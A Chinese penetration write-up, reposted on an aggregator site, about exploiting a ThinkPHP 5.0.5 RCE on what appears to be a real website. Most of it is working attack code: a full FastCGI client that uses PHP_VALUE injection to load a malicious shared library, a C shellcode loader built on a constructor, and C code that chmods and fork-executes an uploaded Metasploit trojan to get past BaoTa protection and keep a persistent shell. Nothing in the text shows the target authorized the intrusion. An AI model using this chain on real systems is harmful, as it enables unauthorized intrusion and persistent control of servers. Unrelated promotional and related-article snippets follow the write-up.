实战rce绕过getshell曲折经历

news2025/1/16 0:55:13

tp rce漏洞

该网站debug显示该站点的tp版本为5.0.5,宝塔搭建

直接上rce payload

执行成功
问题点:
1.此站点disable_functions函数基本都禁用了,另外加载了禁用eval的扩展
2.web目录不允许出现.php后缀文件,写入后会立即删除

绕过限制getshell

由于站点禁用了eval,导致webshell管理工具不能使用,那就直接上线msf,但是disable_functions和eval禁用了命令执行和几个绕过disable_functions的函数,经过尝试,发现只有FastCGI-FPM的方式可以绕过限制,并且加载恶意so
FastCGI-FPM绕过请参考:从一道CTF学习Fastcgi绕过姿势-安全客 - 安全资讯平台
构造FastCGI-FPM php脚本:

<?php
echo "<br>include success<br/>";
class TimedOutException extends \Exception
{
}
class ForbiddenException extends \Exception
{
}
class Client
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
private $_requests = array();
private $_persistentSocket = false;
private $_connectTimeout = 5000;
private $_readWriteTimeout = 5000;
public function __construct($host, $port)
{
$this->_host = $host;
$this->_port = $port;
}
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean) $b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
public function getKeepAlive()
{
return $this->_keepAlive;
}
public function setPersistentSocket($b)
{
$was_persistent = ($this->_sock && $this->_persistentSocket);
$this->_persistentSocket = (boolean) $b;
if (!$this->_persistentSocket && $was_persistent) {
fclose($this->_sock);
}
}
public function getPersistentSocket()
{
return $this->_persistentSocket;
}
public function setConnectTimeout($timeoutMs)
{
$this->_connectTimeout = $timeoutMs;
}
public function getConnectTimeout()
{
return $this->_connectTimeout;
}
public function setReadWriteTimeout($timeoutMs)
{
$this->_readWriteTimeout = $timeoutMs;
$this->set_ms_timeout($this->_readWriteTimeout);
}
public function getReadWriteTimeout()
{
return $this->_readWriteTimeout;
}
private function set_ms_timeout($timeoutMs)
{
if (!$this->_sock) {
return false;
}
return stream_set_timeout($this->_sock, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000);
}
private function connect()
{
if (!$this->_sock) {
if ($this->_persistentSocket) {
$this->_sock = pfsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000);
} else {
$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000);
}
if (!$this->_sock) {
throw new \Exception('Unable to connect to FastCGI application: ' . $errstr);
}
if (!$this->set_ms_timeout($this->_readWriteTimeout)) {
throw new \Exception('Unable to set timeout on socket');
}
}
}
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data { $p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{ $p++}) << 16);
$nlen |= (ord($data{ $p++}) << 8);
$nlen |= (ord($data{ $p++}));
}
$vlen = ord($data { $p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{ $p++}) << 16);
$vlen |= (ord($data{ $p++}) << 8);
$vlen |= (ord($data{ $p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p + $nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data { 0});
$ret['type'] = ord($data { 1});
$ret['requestId'] = (ord($data{ 2}) << 8) + ord($data { 3});
$ret['contentLength'] = (ord($data{ 4}) << 8) + ord($data { 5});
$ret['paddingLength'] = ord($data { 6});
$ret['reserved'] = ord($data { 7});
return $ret;
}
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && ($buf = fread($this->_sock, $len)) !== false) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf = fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new \Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
public function request(array $params, $stdin)
{
$id = $this->async_request($params, $stdin);
return $this->wait_for_response($id);
}
public function async_request(array $params, $stdin)
{
$this->connect();
// Pick random number between 1 and max 16 bit unsigned int 65535
$id = mt_rand(1, (1 << 16) - 1);
// Using persistent sockets implies you want them keept alive by server!
$keepAlive = intval($this->_keepAlive || $this->_persistentSocket);
$request = $this->buildPacket(
self::BEGIN_REQUEST
, chr(0) . chr(self::RESPONDER) . chr($keepAlive) . str_repeat(chr(0), 5)
,
$id
);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);
if (fwrite($this->_sock, $request) === false || fflush($this->_sock) === false) {
$info = stream_get_meta_data($this->_sock);
if ($info['timed_out']) {
throw new TimedOutException('Write timed out');
}
// Broken pipe, tear down so future requests might succeed
fclose($this->_sock);
throw new \Exception('Failed to write request to socket');
}
$this->_requests[$id] = array(
'state' => self::REQ_STATE_WRITTEN,
'response' => null
);
return $id;
}
public function wait_for_response($requestId, $timeoutMs = 0)
{
if (!isset($this->_requests[$requestId])) {
throw new \Exception('Invalid request id given');
}
if (
$this->_requests[$requestId]['state'] == self::REQ_STATE_OK
|| $this->_requests[$requestId]['state'] == self::REQ_STATE_ERR
) {
return $this->_requests[$requestId]['response'];
}
if ($timeoutMs > 0) {
// Reset timeout on socket for now
$this->set_ms_timeout($timeoutMs);
} else {
$timeoutMs = $this->_readWriteTimeout;
}
$startTime = microtime(true);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
if ($resp['type'] == self::STDERR) {
$this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_ERR;
}
$this->_requests[$resp['requestId']]['response'] .= $resp['content'];
}
if ($resp['type'] == self::END_REQUEST) {
$this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_OK;
if ($resp['requestId'] == $requestId) {
break;
}
}
if (microtime(true) - $startTime >= ($timeoutMs * 1000)) {
// Reset
$this->set_ms_timeout($this->_readWriteTimeout);
throw new \Exception('Timed out');
}
} while ($resp);
if (!is_array($resp)) {
$info = stream_get_meta_data($this->_sock);
// We must reset timeout but it must be AFTER we get info
$this->set_ms_timeout($this->_readWriteTimeout);
if ($info['timed_out']) {
throw new TimedOutException('Read timed out');
}
if (
$info['unread_bytes'] == 0
&& $info['blocked']
&& $info['eof']
) {
throw new ForbiddenException('Not in white list. Check listen.allowed_clients.');
}
throw new \Exception('Read failed');
}
// Reset timeout
$this->set_ms_timeout($this->_readWriteTimeout);
switch (ord($resp['content'] { 4})) {
case self::CANT_MPX_CONN:
throw new \Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new \Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new \Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $this->_requests[$requestId]['response'];
}
}
}
//php-cgi.sock路径
$sock = "/tmp/php-cgi-56.sock";
//待加载的so文件
$so_name = "ffflg.so";
//web php路径
$filepath0 = "/www/wwwroot/xxx.com/index.php";

$client = new Client("unix://$sock", -1);
// $client = new Client('127.0.0.1', '9000');
//扩展so设置
$php_value = "extension = /tmp/$so_name\n";
$filepath = $filepath0;
$code = "test";
echo $client->request(
array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $filepath,
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'mag-tured',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen($code),
'PHP_VALUE' => $php_value,
),
$code
);

echo "<br>success<br>";
?>

加载shellcode的so源码:

//加载shellcode
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>


//__attribute__ ((__constructor__))约定符会将函数标记为构造函数,加载时自动执行
__attribute__ ((__constructor__)) void preload (void){
unsigned char code[] = [shellcode]; //shellcode自己写,别懒

void *mem = mmap(NULL, sizeof(code), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(mem, code, sizeof(code));
((void(*)())mem)();
}

编译为so文件
> gcc loader.c -fPIC -shared -o ffflg.so
将php脚本及编译好的so文件传到服务器上,包含php脚本加载so


虽然成功上线,但是过一会就自己会掉线,经过测试发现这是php-fpm进程的问题,由于php-fpm进程加载的so文件,所以php-fpm进程结束时,会话自动掉线,php-fpm受到php脚本执行超时时间影响,导致时间一到就会退出php-fpm进程。
不过既然能上线,那么不就可以执行命令吗,可以执行命令不就能再弹一个shell嘛,嘿嘿
 


突遭雷击,执行命令居然有宝塔的防护,这下好像彻底没戏了,不过经过后面思考测试,发现宝塔应该是防御的用户态(壳,类似于hook bash程序),既然这样的话,那么通过C调用底层的系统调用函数(简单来说是通过软中断由用户态切换到内核态),不就可以绕过限制了吗?

绕过限制获取持久shell

生成msf的马,并上传至服务器,发现没有执行权限
 


那就尝试用exec函数族调用chmod程序给木马加个执行权限

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__ ((__constructor__)) void preload (void){
char *programPath = "/bin/chmod";
char *arguments[] = {programPath, "755", "/tmp/debug1", NULL};

if (execvp(programPath, arguments) == -1) {
perror("execvp");
exit(EXIT_FAILURE);
}

// 这里的代码不会执行,除非 execvp 失败
printf("This line won't be reached.\n");
}


成功了,nice,接下来执行上线

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

__attribute__ ((__constructor__)) void preload (void){
pid_t pid = fork();

if (pid == -1) {
perror("fork");
exit(EXIT_FAILURE);
}

if (pid == 0) {
// 子进程

char *programPath = "/tmp/debug1";
char *arguments[] = {programPath, NULL};

if (execvp(programPath, arguments) == -1) {
perror("execvp");
exit(EXIT_FAILURE);
}

// 这里的代码不会执行,因为 execvp 成功后子进程已经被替代
printf("This line won't be reached in the child process.\n");
} else {

// 父进程等待子进程结束
wait(NULL);

printf("Parent process is done.\n");
}
}

需要注意的是,如果直接使用exec函数族调用该木马,依旧会在时间超时后掉线,因为其依赖于创建它的php-fpm进程,php-fpm进程退出,该木马进程也会退出,所以以上代码使用了开启子进程的方式加载木马,这样可以脱离php-fpm进程,达到持续运行的效果
 


成功上线,会话不会再出现超时断开的问题。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1294293.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

名创优品出海更难了,Q3净利增速放缓

近日&#xff0c;有媒体报道称&#xff0c;名创优品受市场流传针对公司的做空报告&#xff0c;叠加高管团队两次减持&#xff0c;共计180万股&#xff0c;若对应25美元的价格&#xff0c;则达4500万美元(约3.2亿元)。 12月5日&#xff0c;其港股收盘股价下跌14.04%&#xff1b…

本地团购分销:解密最新赚钱模式,带你开启财富之门!APP小程序H5三端源码交付,支持二开!

近年来&#xff0c;随着互联网的迅猛发展和电子商务的普及&#xff0c;本地团购分销逐渐成为了一种热门的赚钱模式。它不仅为消费者提供了更多的购物优惠&#xff0c;同时也给商家和分销商带来了可观的利润。在这篇文章中&#xff0c;我们将详细介绍本地团购分销的运作原理和盈…

15Linux、GIT及相关相似面试题、PostMan

Linux和git相似是命令相关的层次结构相似 Linux Linux Linux常用操作_linux操作-CSDN博客 程序员常用的10个Linux命令_简介linux系统中的10个常用命令及功能-CSDN博客 help help 命令 &#xff1a;获得 shell 内置命令的帮助信息&#xff0c;常用形式 help cd ls --help …

【C/PTA —— 15.结构体2(课内实践)】

C/PTA —— 15.结构体2&#xff08;课内实践&#xff09; 7-1 计算职工工资7-2 计算平均成绩7-3 找出总分最高的学生7-4 通讯录的录入与显示 7-1 计算职工工资 #include<stdio.h> #include<stdlib.h> typedef struct GZ {char name[6];double j;double f;double z;…

【Python系列】Python函数

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

2023 金砖国家职业技能大赛网络安全省赛理论题样题(金砖国家未来技能挑战赛)

2023 金砖国家职业技能大赛网络安全省赛理论题样题&#xff08;金砖国家未来技能挑战赛&#xff09; 一、参加比赛的形式 团队参与&#xff0c;每队2名选手&#xff08;设队长1名&#xff09;。 二、项目项目阶段简介 项目由四个阶段组成&#xff0c;将按顺序完成。向参与者…

21、命令执行

文章目录 一、命令执行概述1.1 基本定义1.2 原理1.3 两个条件1.4 命令执行漏洞产生的原因1.5 管道符号和通用命令符 二、远程命令执行2.1 远程命令执行相关函数2.2 远程命令执行漏洞的利用 三、系统命令执行3.1 相关函数3.2 系统命令执行漏洞利用 四、命令执行漏洞防御 一、命令…

[python库] mistune库的基本使用

前言 mistune库是一个解析Markdown的利器&#xff0c;使用起来非常简单。当我们想要解析Markdown格式的文档时&#xff0c;只需两步就能将其转换成html格式。如下&#xff1a; import mistune mistune.html(YOUR_MARKDOWN_TEXT)安装方式也非常简单&#xff0c;dddd&#xff1…

qt creator配置opencv库 (MSVC版本)

目录 1. MSVC版本 1.1 使用cmake编译opencv 1.2 再使用visual studio 2019生成opencv的lib,dll 1.3 配置opencv的系统环境变量 1.4 新建qt项目 1. MSVC版本 1.1 使用cmake编译opencv 1.2 再使用visual studio 2019生成opencv的lib,dll 1.3 配置opencv的系统环境变量 D:…

图形视图【例】对数计算尺

文章目录 对数计算尺 &#x1f4cf;示例代码 对数计算尺 &#x1f4cf; 对数可以有效地把乘法转换成加法运算,比如: l n A ∗ B l n A l n B ln^{A*B} ln^{A} ln^{B} lnA∗BlnAlnB 对数计算尺就是利用对数性质把乘法换成加法的一种辅助工具. 图片来自《程序员的数学1》 …

C //习题10.4 有两个磁盘文件“A“和“B“,各存放一行字母,今要求把这两个文件中的信息合并(按字母顺序排列),输出到一个新文件“C“中去。

C程序设计 &#xff08;第四版&#xff09; 谭浩强 习题10.4 习题10.4 有两个磁盘文件"A"和"B"&#xff0c;各存放一行字母&#xff0c;今要求把这两个文件中的信息合并&#xff08;按字母顺序排列&#xff09;&#xff0c;输出到一个新文件"C"…

智能优化算法应用:基于爬行动物算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于爬行动物算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于爬行动物算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.爬行动物算法4.实验参数设定5.算法结果6.参考…

【Jeecg Boot 3 - 保姆级】第1节 docker + redis + nginx + redis一键安装启动

一、前言 ▶ JEECG-BOOT 开源版难以吃透的原因 ▶ 为了针对上面痛点&#xff0c;笔者做了如下安排 ▶ 你能收获什么 二、效果(第一节效果) ▶ 启动后端 &#xff1e; 日志 &#xff1e; 接口文档 ▶ 启动前端 三、准备工作 四、实战 ▶ 1、服务器安装 Stag…

如何配置Modbus转Profinet网关与6台232 Modbus伺服通信

Modbus转Profinet网关连接6台232 Modbus伺服同时控制的解决方案不仅简化了设备连接&#xff0c;还减少了人力投入和维护成本。通过Modbus转Profinet网关&#xff0c;操作人员只需对Profinet网关进行设置和监控&#xff0c;即可实现对6台232 Modbus伺服的集中控制。 Modbus转Pro…

vuepress-----22、其他评论方案

vuepress 支持评论 本文讲述 vuepress 站点如何集成评论系统&#xff0c;选型是 valineleancloud, 支持匿名评论&#xff0c;缺点是数据没有存储在自己手里。市面上也有其他的方案, 如 gitalk,vssue 等, 但需要用户登录 github 才能发表评论, 但 github 经常无法连接,导致体验…

Microsoft 365 Copilot正式上线,如何稳定访问体验?

如果将微软对人工智能的投资看成一场豪赌&#xff0c;Microsoft Copilot无疑是现阶段最受瞩目的赌注。2023年9月正式发布的Microsoft Copilot是一种基于大型语言模型&#xff08;LLM&#xff09;和微软图形&#xff08;Microsoft Graph&#xff09;的数据和人工智能&#xff08…

[java学习日记]反射、动态代理

目录 一.反射的简单解释与获取字节码文件对象 二.获取构造方法对象Constructor 三.反射获取字节码文件中的成员变量Field 四.反射获取字节码文件中的成员方法&#xff1a;Method 五.反射练习&#xff1a;保存信息 六.反射练习&#xff1a;利用配置文件&#xff08;存储类名…

SAP 后继物料简介

后继物料(Discontinued Part)是SAP系统提供的一项用于物料继承与物料永久性替换的功能。在企业的日常生产业务中,经常会出于技术原因或成本原因进行大批量的物料替换或物料升级。比如说,企业可以用一种可靠性更高的组件替换先前使用的组件,或者出于节省成本的目的,使用一…

Linux 多进程并发设计-进程对核的亲缘设置

1设计结构 2 设计优点 1 充分利用多核系统的并发处理能力2 负载均衡3 职责明确&#xff0c;管理进程仅负责管理&#xff0c;工作进程仅负责处理业务逻辑 3 演示代码: //main.cpp #define _GNU_SOURCE #include<sys/types.h> #include<sys/wait.h> #include <…

设计模式基础——概述(1/2)

目录 一、设计模式的定义 二、设计模式的三大类别 三、设计模式的原则 四、主要设计模式目录 4.1 创建型模式&#xff08;Creational Patterns&#xff09; 4.2 结构型模式&#xff08;Structural Patterns&#xff09; 4.3 行为型模式&#xff08;Behavioral Patterns&…